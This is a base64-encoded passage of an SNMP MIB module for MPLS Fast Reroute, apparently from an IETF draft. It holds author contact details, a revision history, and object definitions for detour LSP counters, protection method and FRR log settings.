YWlsOiAgcml6YS5jZXRpbkBhbGNhdGVsLmJlDQoNCiAgICAgICAgICAgICAgICAgICAgIFN0ZWZh
YW4gRGUgQ25vZGRlcg0KICAgICAgICAgICAgIFBvc3RhbDogQWxjYXRlbA0KICAgICAgICAgICAg
ICAgICAgICAgRnJhbmNpcyBXZWxsZXNwbGVpbiAxDQogICAgICAgICAgICAgICAgICAgICBCLTIw
MTggQW50d2VycCwgQmVsZ2l1bQ0KICAgICAgICAgICAgIFRlbDogICAgKzMyLTMtMjQwODUxNQ0K
ICAgICAgICAgICAgIEVtYWlsOiAgU3RlZmFhbi5kZV9jbm9kZGVyQGFsY2F0ZWwuYmUNCg0KICAg
ICAgICAgICAgICAgICAgICAgRGVyLUh3YSBHYW4NCiAgICAgICAgICAgICBQb3N0YWw6IEp1bmlw
ZXIgTmV0d29ya3MsIEluYy4NCiAgICAgICAgICAgICAgICAgICAgIDExOTQgTi4gTWF0aGlsZGEg
QXZlbnVlDQogICAgICAgICAgICAgICAgICAgICBTdW5ueXZhbGUsIENBIDk0MDg5DQogICAgICAg
ICAgICAgVGVsOiAgICArMS00MDgtNzQ1LTIwLTc0DQogICAgICAgICAgICAgRW1haWw6ICBkaGdA
anVuaXBlci5uZXQNCg0KICAgICAgICAgICAgICAgICAgICAgVGhvbWFzIEQuIE5hZGVhdQ0KICAg
ICAgICAgICAgIFBvc3RhbDogQ2lzY28gU3lzdGVtcywgSW5jLg0KICAgICAgICAgICAgICAgICAg
ICAgMjUwIEFwb2xsbyBEcml2ZQ0KICAgICAgICAgICAgICAgICAgICAgQ2hlbG1zZm9yZCwgTUEg
MDE5MjQNCiAgICAgICAgICAgICBUZWw6ICAgICsxLTk3OC0yNDQtMzA1MQ0KICAgICAgICAgICAg
IEVtYWlsOiAgdG5hZGVhdUBjaXNjby5jb20NCg0KICAgICAgICAgICAgIg0KICAgICAgIERFU0NS
SVBUSU9ODQogICAgICAgICAiVGhpcyBNSUIgbW9kdWxlIGNvbnRhaW5zIG1hbmFnZWQgb2JqZWN0
IGRlZmluaXRpb25zIGZvciBNUExTDQogICAgICAgICAgRmFzdCBSZXJvdXRlIChGUlIpIGFzIGRl
ZmluZWQgaW46UGFuLCBQLiwgR2FuLCBELiwgU3dhbGxvdywgRy4sDQogICAgICAgICAgVmFzc2V1
ciwgSi5QaC4sIENvb3BlciwgRC4sIEF0bGFzLCBBLiwgSm9yaywgTS4sIEZhc3QgUmVyb3V0ZQ0K
ICAgICAgICAgIFRlY2huaXF1ZXMgaW4gUlNWUC1URSwgZHJhZnQtaWV0Zi1tcGxzLXJzdnAtbHNw
LWZhc3RyZXJvdXRlLQ0KICAgICAgICAgIDAwLnR4dCwgSmFudWFyeSAyMDAyLiINCg0KICAgIC0t
IFJldmlzaW9uIGhpc3RvcnkuDQogICAgICAgUkVWSVNJT04NCiAgICAgICAgICAgICIyMDAyMTEw
MTEyMDBaIiAtLSAwMSBOb3ZlbWJlciAyMDAyIDEyOjAwOjAwIEdNVA0KICAgICAgIERFU0NSSVBU
SU9ODQogICAgICAgICAgICAiQWRkZWQgc3VwcG9ydCBmb3IgRmFjaWxpdHktYmFzZWQgRlJSLg0K
DQogICAgICAgICAgICAgUmVtb3ZlZCB0YWJsZXMgdGhhdCB3ZXJlIHJlZHVuZGFudCB3aXRoDQog
ICAgICAgICAgICAgICBvdGhlciBNUExTIE1JQnMuDQoNCiAgICAgICAgICAgICBBc3NpZ25lZCBl
eHBlcmltZW50YWwuMTIwLiINCg0KICAgICAgIFJFVklTSU9ODQogICAgICAgICAgICAiMjAwMjAz
MjIxMjAwWiIgLS0gMTggQXByaWwgMjAwMiAxMjowMDowMCBHTVQNCiAgICAgICBERVNDUklQVElP
Tg0KICAgICAgICAgICAgIkluaXRpYWwgZHJhZnQgdmVyc2lvbi4iDQoNCiAgICAgICA6Oj0geyBl
eHBlcmltZW50YWwgMTIwIH0gLS0gdG8gYmUgYXNzaWduZWQgdW5kZXIgbXBsc01JQi4NCg0KICAg
IC0tIEVuZCBvZiBNUExTIEZhc3QgUmVyb3V0ZSB0ZXh0dWFsLWNvbnZlbnRpb25zLg0KDQogICAg
LS0gVG9wIGxldmVsIGNvbXBvbmVudHMgb2YgdGhpcyBNSUIuDQogICAgbXBsc0Zyck5vdGlmICAg
ICAgICAgT0JKRUNUIElERU5USUZJRVIgOjo9IHsgbXBsc0Zyck1JQiAwIH0NCiAgICBtcGxzRnJy
U2NhbGFycyAgICAgICBPQkpFQ1QgSURFTlRJRklFUiA6Oj0geyBtcGxzRnJyTUlCIDEgfQ0KICAg
IG1wbHNGcnJPYmplY3RzICAgICAgIE9CSkVDVCBJREVOVElGSUVSIDo6PSB7IG1wbHNGcnJNSUIg
MiB9DQoNCiAgICAtLSBvYmplY3RzIHRoYXQgd29yayBmb3IgZWl0aGVyIG1ldGhvZCBvZiBGUlIN
CiAgICBtcGxzRnJyR2VuZXJhbE9iamVjdHMgT0JKRUNUIElERU5USUZJRVIgOjo9IHsgbXBsc0Zy
ck9iamVjdHMgMSB9DQoNCiAgICAtLSBvYmplY3RzIGRlZmluZWQgZm9yIDEtdG8tMSBzdHlsZSBG
UlINCiAgICBtcGxzRnJyMXRvMU9iamVjdHMgICBPQkpFQ1QgSURFTlRJRklFUiA6Oj0geyBtcGxz
RnJyT2JqZWN0cyAyIH0NCg0KICAgIC0tIG9iamVjdHMgZGVmaW5lZCBmb3IgRmFjaWxpdHkgQmFj
a3VwIHN0eWxlIEZSUg0KICAgIG1wbHNGcnJGYWNPYmplY3RzICAgIE9CSkVDVCBJREVOVElGSUVS
IDo6PSB7IG1wbHNGcnJPYmplY3RzIDMgfQ0KDQogICAgLS0NCiAgICAtLSBFZCBOb3RlOiBuZWVk
IHRvIGRlZmluZSB0d28gY29uZm9ybWFuY2Ugc3RhdGVtZW50czogb25lIGZvcg0KICAgIC0tIG9u
ZSBmb3IgMS0yLTEgYW5kIGZvciBGYWNpbGl0eS4gIE1pZ2h0IG5lZWQgc2VwYXJhdGUgb25lcyBm
b3INCiAgICAtLSByZWFkLW9ubHkgdnMuIHJlYWQtd3JpdGUgdG9vLiAgVGhlcmUgaXMgY3VycmVu
dGx5IGp1c3QgYSBzaW5nbGUNCiAgICAtLSBjb25mb3JtYW5jZSBzdGF0ZW1lbnQgZHVlIHRvIHRp
bWUgY29uc3RyYWludHMuDQogICAgLS0NCiAgICBtcGxzRnJyQ29uZm9ybWFuY2UgICBPQkpFQ1Qg
SURFTlRJRklFUiA6Oj0geyBtcGxzRnJyTUlCIDMgfQ0KDQogICAgLS0gTVBMUyBGYXN0IFJlcm91
dGUgc2NhbGFycy4NCg0KICAgIG1wbHNGcnJEZXRvdXJJbmNvbWluZyBPQkpFQ1QtVFlQRQ0KICAg
ICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1v
bmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAg
ICAgICAgICJUaGUgbnVtYmVyIG9mIGRldG91ciBMU1BzIGVudGVyaW5nIHRoZSBkZXZpY2UgaWYN
CiAgICAgICAgIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QgaXMgc2V0IHRvIG9uZVRvT25l
QmFja3VwKDEpLA0KICAgICAgICAgb3IgMCBpZiBtcGxzRnJyQ29uc3RQcm90ZWN0aW9uTWV0aG9k
IGlzIHNldCB0bw0KICAgICAgICAgZmFjaWxpdHlCYWNrdXAoMikuIg0KICAgICAgIERFRlZBTCB7
IDAgfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJTY2FsYXJzIDEgfQ0KDQogICAgbXBsc0ZyckRldG91
ck91dGdvaW5nIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyDQog
ICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJl
bnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlRoZSBudW1iZXIgb2YgZGV0b3VyIExT
UHMgbGVhdmluZyB0aGUgZGV2aWNlIGlmDQogICAgICAgICBtcGxzRnJyQ29uc3RQcm90ZWN0aW9u
TWV0aG9kIGlzIHNldCB0byBvbmVUb09uZUJhY2t1cCgxKSwgb3INCiAgICAgICAgIDAgaWYgbXBs
c0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZCBpcyBzZXQgdG8NCiAgICAgICAgIGZhY2lsaXR5QmFj
a3VwKDIpLiINCiAgICAgICBERUZWQUwgeyAwIH0NCiAgICAgICA6Oj0geyBtcGxzRnJyU2NhbGFy
cyAyIH0NCg0KICAgIG1wbHNGcnJEZXRvdXJPcmlnaW5hdGluZyBPQkpFQ1QtVFlQRQ0KICAgICAg
IFNZTlRBWCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5
DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAg
ICAgICJUaGUgbnVtYmVyIG9mIGRldG91ciBMU1BzIG9yaWdpbmF0aW5nIGF0IHRoaXMgUExSIGlm
DQogICAgICAgICBtcGxzRnJyQ29uc3RQcm90ZWN0aW9uTWV0aG9kIGlzIHNldCB0byBvbmVUb09u
ZUJhY2t1cCgxKS4NCiAgICAgICAgIFRoaXMgb2JqZWN0IE1VU1QgcmV0dXJuIDAgaWYgdGhlIG1w
bHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QNCiAgICAgICAgIGlzIHNldCB0byBmYWNpbGl0eUJh
Y2t1cCgyKS4iDQogICAgICAgREVGVkFMIHsgMCB9DQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxh
cnMgMyB9DQoNCiAgICBtcGxzRnJyU3dpdGNob3ZlciBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRB
WCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAg
ICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJU
aGUgbnVtYmVyIG9mIHR1bm5lbCBpbnN0YW5jZXMgdGhhdCBhcmUgc3dpdGNoZWQgb3ZlciB0byB0
aGVpcg0KICAgICAgICAgY29ycmVzcG9uZGluZyBkZXRvdXIgTFNQIGlmIG1wbHNGcnJDb25zdFBy
b3RlY3Rpb25NZXRob2QgaXMgc2V0DQogICAgICAgICB0byBvbmVUb09uZUJhY2t1cCgxKSwgb3Ig
dHVubmVsIGluc3RhbmNlcyBiZWluZyBzd2l0Y2hlZCBvdmVyIGlmDQogICAgICAgICBtcGxzRnJy
Q29uc3RQcm90ZWN0aW9uTWV0aG9kIGlzIHNldCB0byBmYWNpbGl0eUJhY2t1cCgyKS4iDQogICAg
ICAgREVGVkFMIHsgMCB9DQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgNCB9DQoNCiAgICBt
cGxzRnJyQ29uZklmcyBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQz
Mg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBj
dXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJJbmRpY2F0ZXMgdGhlIG51bWJl
ciBvZiBNUExTIGludGVyZmFjZXMgY29uZmlndXJlZCBmb3INCiAgICAgICAgICBwcm90ZWN0aW9u
IGJ5IHRoZSBGUlIgZmVhdHVyZSwgb3RoZXJ3aXNlIHRoaXMgdmFsdWUNCiAgICAgICAgICBNVVNU
IHJldHVybiAwIHRvIGluZGljYXRlIHRoYXQgTFNQcyB0cmF2ZXJzaW5nIGFueQ0KICAgICAgICAg
IGludGVyZmFjZSBtYXkgYmUgcHJvdGVjdGVkLiINCiAgICAgICBERUZWQUwgeyAwIH0NCiAgICAg
ICA6Oj0geyBtcGxzRnJyU2NhbGFycyA1IH0NCg0KICAgIG1wbHNGcnJBY3RQcm90ZWN0ZWRJZnMg
T0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIFVuc2lnbmVkMzINCiAgICAgICBNQVgt
QUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAg
IERFU0NSSVBUSU9ODQogICAgICAgICAiSW5kaWNhdGVzIHRoZSBudW1iZXIgb2YgaW50ZXJmYWNl
cyBjdXJyZW50bHkgYmVpbmcgcHJvdGVjdGVkDQogICAgICAgICAgYnkgdGhlIEZSUiBmZWF0dXJl
IGlmIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QgaXMgc2V0IHRvDQogICAgICAgICAgZmFj
aWxpdHlCYWNrdXAoMiksIG90aGVyd2lzZSB0aGlzIHZhbHVlIHNob3VsZCByZXR1cm4gMCB0bw0K
ICAgICAgICAgIGluZGljYXRlIHRoYXQgTFNQcyB0cmF2ZXJzaW5nIGFueSBpbnRlcmZhY2UgbWF5
IGJlIHByb3RlY3RlZC4NCiAgICAgICAgICBUaGlzIHZhbHVlIE1VU1QgYmUgbGVzcyB0aGFuIG9y
IGVxdWFsIHRvIG1wbHNGcnJDb25mSWZzLiINCiAgICAgICBERUZWQUwgeyAwIH0NCiAgICAgICA6
Oj0geyBtcGxzRnJyU2NhbGFycyA2IH0NCg0KICAgIG1wbHNGcnJDb25mUHJvdGVjdGVkVHVucyBP
QkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1B
Q0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAg
REVTQ1JJUFRJT04NCiAgICAgICAgICJJbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBieXBhc3MgdHVu
bmVscyBjb25maWd1cmVkIHRvDQogICAgICAgICAgcHJvdGVjdCBmYWNpbGl0aWVzIG9uIHRoaXMg
TFNSIHVzaW5nIHRoZSBGUlIgZmVhdHVyZQ0KICAgICAgICAgIGlmIG1wbHNGcnJDb25zdFByb3Rl
Y3Rpb25NZXRob2QgaXMgc2V0IHRvDQogICAgICAgICAgZmFjaWxpdHlCYWNrdXAoMiksIG90aGVy
d2lzZSB0aGlzIHZhbHVlIE1VU1QgcmV0dXJuDQogICAgICAgICAgMC4iDQogICAgICAgREVGVkFM
IHsgMCB9DQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgNyB9DQoNCiAgICBtcGxzRnJyQWN0
UHJvdGVjdGVkVHVucyBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQz
Mg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBj
dXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJJbmRpY2F0ZXMgdGhlIG51bWJl
ciBvZiBieXBhc3MgdHVubmVscyBpbmRpY2F0ZWQgaW4NCiAgICAgICAgICBtcGxzRnJyQ29uZlBy
b3RlY3RlZFR1bnMgd2hvc2Ugb3BlclN0YXR1cw0KICAgICAgICAgIGlzIHVwKDEpIGluZGljYXRp
bmcgdGhhdCB0aGV5IGFyZSBjdXJyZW50bHkgcHJvdGVjdGluZw0KICAgICAgICAgIGZhY2lsaXRp
ZXMgb24gdGhpcyBMU1IgdXNpbmcgdGhlIEZSUiBmZWF0dXJlLiBUaGlzDQogICAgICAgICAgb2Jq
ZWN0IE1VU1QgcmV0dXJuIDAgaWYgbXBsc0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZA0KICAgICAg
ICAgIGlzIHNldCB0byBvbmVUb09uZUJhY2t1cCgxKS4iDQogICAgICAgREVGVkFMIHsgMCB9DQog
ICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgOCB9DQoNCiAgICBtcGxzRnJyQWN0aXZlbHlQcm90
ZWN0ZWRMU1BzIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyDQog
ICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJl
bnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB0aGUgbnVtYmVyIG9m
IExTUHMgY3VycmVudGx5IHByb3RlY3RlZCBieQ0KICAgICAgICAgIHRoZSBGUlIgZmVhdHVyZS4g
SWYgbXBsc0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZCBpcyBzZXQNCiAgICAgICAgICB0byBvbmVU
b09uZUJhY2t1cCgxKXRoaXMgb2JqZWN0IE1VU1QgcmV0dXJuIDAuIg0KICAgICAgIERFRlZBTCB7
IDAgfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJTY2FsYXJzIDkgfQ0KDQogICAgbXBsc0ZyckNvbnN0
UHJvdGVjdGlvbk1ldGhvZCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgSU5URUdF
UiB7IG9uZVRvT25lQmFja3VwKDApLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZh
Y2lsaXR5QmFja3VwKDEpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICBN
QVgtQUNDRVNTICAgIHJlYWQtd3JpdGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAg
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB3aGljaCBwcm90ZWN0aW9uIG1l
dGhvZCBpcyB0byBiZSB1c2VkIGZvciBmYXN0DQogICAgICAgICAgcmVyb3V0ZS4gU29tZSBkZXZp
Y2VzIG1heSByZXF1aXJlIGEgcmVib290IG9mIHRoZWlyIHJvdXRpbmcNCiAgICAgICAgICBwcm9j
ZXNzb3JzIGlmIHRoaXMgdmFyaWFibGUgaXMgY2hhbmdlZC4gQW4gYWdlbnQgd2hpY2gNCiAgICAg
ICAgICBkb2VzIG5vdCB3aXNoIHRvIHJlYm9vdCBvciBtb2RpZnkgaXRzIEZSUiBtb2RlDQogICAg
ICAgICAgTVVTVCByZXR1cm4gYW4gaW5jb25zaXN0ZW50VmFsdWUgZXJyb3IuIFBsZWFzZQ0KICAg
ICAgICAgIGNvbnN1bHQgdGhlIGRldmljZSdzIGFnZW50IGNhcGFiaWxpdHkgc3RhdGVtZW50DQog
ICAgICAgICAgZm9yIG1vcmUgZGV0YWlscy4iDQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMg
MTAgfQ0KDQogICAgbXBsc0Zyck5vdGlmc0VuYWJsZWQgT0JKRUNULVRZUEUNCiAgICAgICAgU1lO
VEFYICAgICAgICAgICAgVHJ1dGhWYWx1ZQ0KICAgICAgICBNQVgtQUNDRVNTICAgICAgICByZWFk
LXdyaXRlDQogICAgICAgIFNUQVRVUyAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJ
UFRJT04NCiAgICAgICAgICAgICJFbmFibGVzIG9yIGRpc2FibGVzIEZSUiBub3RpZmljYXRpb25z
IGRlZmluZWQgaW4gdGhpcyBNSUINCiAgICAgICAgICAgIG1vZHVsZS4gTm90aWZpY2F0aW9ucyBh
cmUgZGlzYWJsZWQgYnkgZGVmYXVsdC4iDQogICAgICAgIERFRlZBTCB7IGZhbHNlIH0NCiAgICA6
Oj0geyBtcGxzRnJyU2NhbGFycyAxMSB9DQoNCiAgICBtcGxzRnJyTG9nVGFibGVNYXhFbnRyaWVz
IE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICAgICAgICAgIFVuc2lnbmVkMzINCiAgICAg
ICAgTUFYLUFDQ0VTUyAgICAgICAgcmVhZC13cml0ZQ0KICAgICAgICBTVEFUVVMgICAgICAgICAg
ICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiSW5kaWNhdGVzIHRo
ZSBtYXhpbXVtIG51bWJlciBvZiBlbnRyaWVzIGFsbG93ZWQgaW4gdGhlIEZSUg0KICAgICAgICAg
ICAgIExvZyB0YWJsZS4gQWdlbnRzIHJlY2VpdmluZyBTRVRzIGZvciB2YWx1ZXMgdGhhdCBjYW5u
b3QgYmUNCiAgICAgICAgICAgICB1c2VkIG11c3QgcmV0dXJuIGFuIGluY29uc2lzdGVudCB2YWx1
ZSBlcnJvci4gSWYgYSBtYW5hZ2VyDQogICAgICAgICAgICAgc2V0cyB0aGlzIHZhbHVlIHRvIDAs
IHRoaXMgaW5kaWNhdGVzIHRoYXQgbm8gbG9nZ2luZyBzaG91bGQNCiAgICAgICAgICAgICB0YWtl
IHBsYWNlIGJ5IHRoZSBhZ2VudC4NCg0KICAgICAgICAgICAgIElmIHRoaXMgdmFsdWUgaXMgcmV0
dXJuZWQgYXMgMCwgdGhpcyBpbmRpY2F0ZXMNCiAgICAgICAgICAgICB0aGF0IG5vIGFkZGl0aW9u
YWwgbG9nIGVudHJpZXMgd2lsbCBiZSBhZGRlZCB0byB0aGUgY3VycmVudA0KICAgICAgICAgICAg
IHRhYmxlIGVpdGhlciBiZWNhdXNlIHRoZSB0YWJsZSBoYXMgYmVlbiBjb21wbGV0ZWx5DQogICAg
ICAgICAgICAgZmlsbGVkIG9yIGxvZ2dpbmcgaGFzIGJlZW4gZGlzYWJsZWQuIEhvd2V2ZXIsIGFn
ZW50cw0KICAgICAgICAgICAgIG1heSB3aXNoIHRvIG5vdCBkZWxldGUgZXhpc3RpbmcgZW50cmll
cyBpbiB0aGUgbG9nIHRhYmxlDQogICAgICAgICAgICAgc28gdGhhdCBtYW5hZ2VycyBtYXkgcmV2
aWV3IHRoZW0gaW4gdGhlIGZ1dHVyZS4NCg0KICAgICAgICAgICAgIEl0IGlzIGltcGxpZWQgdGhh
dCB3aGVuIG1wbHNGcnJMb2dUYWJsZUN1cnJFbnRyaWVzDQogICAgICAgICAgICAgaGFzIHJlYWNo
ZWQgdGhlIHZhbHVlIG9mIHRoaXMgdmFyaWFibGUsIHRoYXQgbG9nZ2luZw0KICAgICAgICAgICAg
IGVudHJpZXMgbWF5IG5vdCBjb250aW51ZSB0byBiZSBhZGRlZCB0byB0aGUgdGFibGUsDQogICAg
ICAgICAgICAgYWx0aG91Z2ggZXhpc3Rpbmcgb25lcyBtYXkgcmVtYWluLiAgRnVydGhlcm1vcmUs
IGFuDQogICAgICAgICAgICAgYWdlbnQgbWF5IGJlZ2luIHRvIGRlbGV0ZSBleGlzdGluZyAocGVy
aGFwcyB0aGUNCiAgICAgICAgICAgICBvbGRlc3QgZW50cmllcykgZW50cmllcyB0byBtYWtlIHJv
b20gZm9yIG5ldyBvbmVzLiINCiAgICAgICAgREVGVkFMIHsgMCB9DQogICAgOjo9IHsgbXBsc0Zy
clNjYWxhcnMgMTIgfQ0KDQogICAgbXBsc0ZyckxvZ1RhYmxlQ3VyckVudHJpZXMgT0JKRUNULVRZ
UEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgQ291bnRlcjMyDQogICAgICAgIE1BWC1BQ0NF
U1MgICAgICAgIHJlYWQtb25seQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBjdXJyZW50DQog
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiSW5kaWNhdGVzIHRoZSBjdXJyZW50IG51
bWJlciBvZiBlbnRyaWVzIGluIHRoZSBGUlIgbG9nDQogICAgICAgICAgICB0YWJsZS4iDQogICAg
Ojo9IHsgbXBsc0ZyclNjYWxhcnMgMTMgfQ0KDQogICAgbXBsc0Zyck5vdGlmTWF4UmF0ZSBPQkpF
Q1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICBVbnNpZ25lZDMyDQogICAgICAgTUFYLUFDQ0VT
UyAgIHJlYWQtd3JpdGUNCiAgICAgICBTVEFUVVMgICAgICAgY3VycmVudA0KICAgICAgIERFU0NS
SVBUSU9ODQogICAgICAgICAgICJUaGlzIHZhcmlhYmxlIGluZGljYXRlcyB0aGUgbnVtYmVyIG9m
IG1pbGxpc2Vjb25kcw0KICAgICAgICAgICAgdGhhdCBtdXN0IGVsYXBzZSBiZXR3ZWVuIG5vdGlm
aWNhdGlvbiBlbWlzc2lvbnMuIElmDQogICAgICAgICAgICBldmVudHMgb2NjdXIgbW9yZSByYXBp
ZGx5LCB0aGUgaW1wbGVtZW50YXRpb24gbWF5DQogICAgICAgICAgICBzaW1wbHkgZmFpbCB0byBl
bWl0IHRoZXNlIG5vdGlmaWNhdGlvbnMgZHVyaW5nIHRoYXQNCiAgICAgICAgICAgIHBlcmlvZCwg
b3IgbWF5IHF1ZXVlIHRoZW0gdW50aWwgYW4gYXBwcm9wcmlhdGUNCiAgICAgICAgICAgIHRpbWUg
aW4gdGhlIGZ1dHVyZS4gQSB2YWx1ZSBvZiAwIG1lYW5zIG5vIG1pbmltdW0NCiAgICAgICAgICAg
IGVsYXBzZWQgcGVyaW9kIGlzIHNwZWNpZmllZC4iDQogICAgICAgREVGVkFMICAgICAgIHsgMCB9
DQogICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgMTQgfQ0KDQogICAgLS0NCiAgICAtLSAgR2VuZXJh
bCBGUlIgVGFibGUgU2VjdGlvbg0KICAgIC0tDQogICAgLS0gIFRoZXNlIHRhYmxlcyBhcHBseSB0
byBib3RoIHR5cGVzIG9mIEZSUg0KICAgIC0tICBhbmQgc2hvdWxkIGJlIGltcGxlbWVudGVkIGJ5
IGFsbCBMU1JzIHN1cHBvcnRpbmcNCiAgICAtLSAgRlJSLg0KICAgIC0tDQoNCiAgICAtLSBNUExT
IEZhc3QgUmVyb3V0ZSBDb25zdHJhaW50cyB0YWJsZQ0KDQogICAgbXBsc0ZyckNvbnN0VGFibGUg
T0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIFNFUVVFTkNFIE9GIE1wbHNGcnJDb25z
dEVudHJ5DQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRV
UyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB0YWJs
ZSBzaG93cyBiYWNrdXAgTFNQIHNldHVwIGNvbnN0cmFpbnRzLiINCiAgICAgICA6Oj0geyAgbXBs
c0ZyckdlbmVyYWxPYmplY3RzIDEgfQ0KDQogICAgbXBsc0ZyckNvbnN0RW50cnkgT0JKRUNULVRZ
UEUNCiAgICAgICBTWU5UQVggICAgICAgIE1wbHNGcnJDb25zdEVudHJ5DQogICAgICAgTUFYLUFD
Q0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAg
ICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiQW4gZW50cnkgaW4gdGhpcyB0YWJsZSByZXByZXNl
bnRzIGRldG91ciBMU1Agb3IgYnlwYXNzIHR1bm5lbA0KICAgICAgICAgIHNldHVwIGNvbnN0cmFp
bnRzIGZvciBhIHR1bm5lbCBpbnN0YW5jZSB0byBiZSBwcm90ZWN0ZWQgYnkgZGV0b3VyDQogICAg
ICAgICAgTFNQcyBvciBhIHR1bm5lbC4NCg0KICAgICAgICAgIEFnZW50cyBtdXN0IGFsbG93IGVu
dHJpZXMgaW4gdGhpcyB0YWJsZSB0byBiZQ0KICAgICAgICAgIGNyZWF0ZWQgb25seSBmb3IgdHVu
bmVsIGluc3RhbmNlcyB0aGF0IHJlcXVpcmUgZmFzdC1yZXJvdXRlLg0KICAgICAgICAgIEVudHJp
ZXMgaW5kZXhlZCB3aXRoIG1wbHNGcnJDb25zdElmSW5kZXggc2V0IHRvIDAgYXBwbHkgdG8gYWxs
DQogICAgICAgICAgaW50ZXJmYWNlcyBvbiB0aGlzIGRldmljZSBmb3Igd2hpY2ggdGhlIEZSUiBm
ZWF0dXJlIGNhbiBvcGVyYXRlDQogICAgICAgICAgb24uIg0KICAgICAgIElOREVYIHsgbXBsc0Zy
ckNvbnN0SWZJbmRleCwNCiAgICAgICAgICAgICAgIG1wbHNGcnJDb25zdFR1bm5lbEluZGV4LA0K
ICAgICAgICAgICAgICAgbXBsc0ZyckNvbnN0VHVubmVsSW5zdGFuY2UNCiAgICAgICAgICAgICB9
DQogICAgICAgOjo9IHsgbXBsc0ZyckNvbnN0VGFibGUgMSB9DQoNCiAgICBNcGxzRnJyQ29uc3RF
bnRyeSA6Oj0gU0VRVUVOQ0Ugew0KICAgICAgICAgIG1wbHNGcnJDb25zdElmSW5kZXggICAgICAg
ICAgIEludGVyZmFjZUluZGV4T3JaZXJvLA0KICAgICAgICAgIG1wbHNGcnJDb25zdFR1bm5lbElu
ZGV4ICAgICAgIE1wbHNUdW5uZWxJbmRleCwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RUdW5uZWxJ
bnN0YW5jZSAgICBNcGxzVHVubmVsSW5zdGFuY2VJbmRleCwNCiAgICAgICAgICBtcGxzRnJyQ29u
c3RQcm90ZWN0aW9uVHlwZSAgICBJTlRFR0VSLA0KICAgICAgICAgIG1wbHNGcnJDb25zdFNldHVw
UHJpbyAgICAgICAgIFVuc2lnbmVkMzIsDQogICAgICAgICAgbXBsc0ZyckNvbnN0SG9sZGluZ1By
